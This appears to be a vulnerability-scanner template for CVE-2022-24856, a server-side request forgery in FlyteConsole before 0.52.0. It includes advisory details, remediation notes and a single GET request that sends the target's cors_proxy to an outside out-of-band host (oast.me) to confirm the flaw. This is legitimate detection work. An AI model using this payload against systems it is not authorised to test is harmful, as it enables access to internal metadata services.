id: CVE-2022-24856

info:
  name: Flyte Console <0.52.0 - Server-Side Request Forgery
  author: pdteam
  severity: high
  description: |
    FlyteConsole is the web user interface for the Flyte platform. FlyteConsole prior to version 0.52.0 is vulnerable to server-side request forgery when FlyteConsole is open to the general internet. An attacker can exploit any user of a vulnerable instance to access the internal metadata server or other unauthenticated URLs. Passing of headers to an unauthorized actor may occur.
  remediation: |
    The patch for this issue deletes the entire cors_proxy, as this is no longer required for the console. A patch is available in FlyteConsole version 0.52.0, or as a work-around disable FlyteConsole.
  reference:
    - https://github.com/flyteorg/flyteconsole/security/advisories/GHSA-www6-hf2v-v9m9
    - https://github.com/flyteorg/flyteconsole/pull/389
    - https://hackerone.com/reports/1540906
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24856
    - https://github.com/flyteorg/flyteconsole/commit/05b88ed2d2ecdb5d8a8404efea25414e57189709
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-24856
    cwe-id: CWE-918
    epss-score: 0.05657
    epss-percentile: 0.92503
    cpe: cpe:2.3:a:flyte:flyte_console:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: flyte
    product: flyte_console
  tags: cve,cve2022,flyteconsole,ssrf,oss,hackerone

http:
  - method: GET
    path:
      - "{{BaseURL}}/cors_proxy/https://oast.me/"

    matchers:
      - type: word
        words:
          - "Interactsh Server"
# digest: 4a0a00473045022100feb75fb7323a4751892090c50538ed5bb63630a17ee1884ed8d9449b3a29896702200555d9a9a5e4400268ab16a1d2632ee4cd9759269c4834937a5197bbc2b1c7bc:922c64590222798bb761d5b6d8e72950